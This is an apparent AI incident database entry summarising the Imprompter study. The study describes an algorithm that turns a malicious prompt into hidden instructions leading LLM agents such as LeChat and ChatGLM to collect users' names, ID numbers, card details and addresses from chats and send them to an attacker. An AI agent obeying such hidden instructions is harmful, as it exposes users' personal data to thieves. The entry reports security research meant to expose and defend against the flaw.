Study: Language models gather and pass personal info to hackers

Occurred: October 2024

Report incident ๐Ÿ”ฅ | Improve page ๐Ÿ’ | Access database ๐Ÿ”ข

Researchers have developed a new way of tricking AI language models into misusing tools and compromising user data.ย 

What happened

A team of researchers from UC Berkeley, Carnegie Mellon University and Pennsylvania State University created an algorithm called Imprompter that exploits vulnerabilities in large language model (LLM) agents.ย 

The attack generates hidden instructions from a malicious prompt and commands an LLM to gather a user's personal information - including names, ID numbers, payment card details, email addresses, mailing addresses, and more - from chats and send it directly to a hacker.

The researchers tested the algorithm on two LLMs, Mistral AI's LeChat and Chinese chatbot ChatGLM, and found that both products could "successfully" be exploited around 80 percent of the time.

Why it happened

The development of Imprompter stems from the increasing integration of LLMs with external tools, which expands their capabilities but also introduces new security risks.ย 

As LLM agents gain access to more powerful tools, the potential for misuse and exploitation grows.ย 

The researchers aimed to highlight these vulnerabilities and demonstrate the need for improved security measures in AI systems.

What it means

The Imprompter attack reveals security vulnerabilities of AI-powered systems, particularly those that combine LLMs with external tools, and underscores the need for robust safeguards and security protocols in AI development to prevent potential misuse and protect user data.

The research also highlights the evolving nature of AI security threats, emphasising the importance of ongoing vigilance and adaptation in cybersecurity practices.

Intelligent agent

In intelligence and artificial intelligence, an intelligent agent (IA) is an agent that perceives its environment, takes actions autonomously in order to achieve goals, and may improve its performance with learning or acquiring knowledge.

Source: Wikipedia ๐Ÿ”—

System ๐Ÿค–

Operator:
Developer: Mistral; Zhipu AI
Country: China; France
Sector: Multiple
Purpose: Generate text
Technology: Chatbot; Generative AI; Machine learning
Issue: Privacy; Security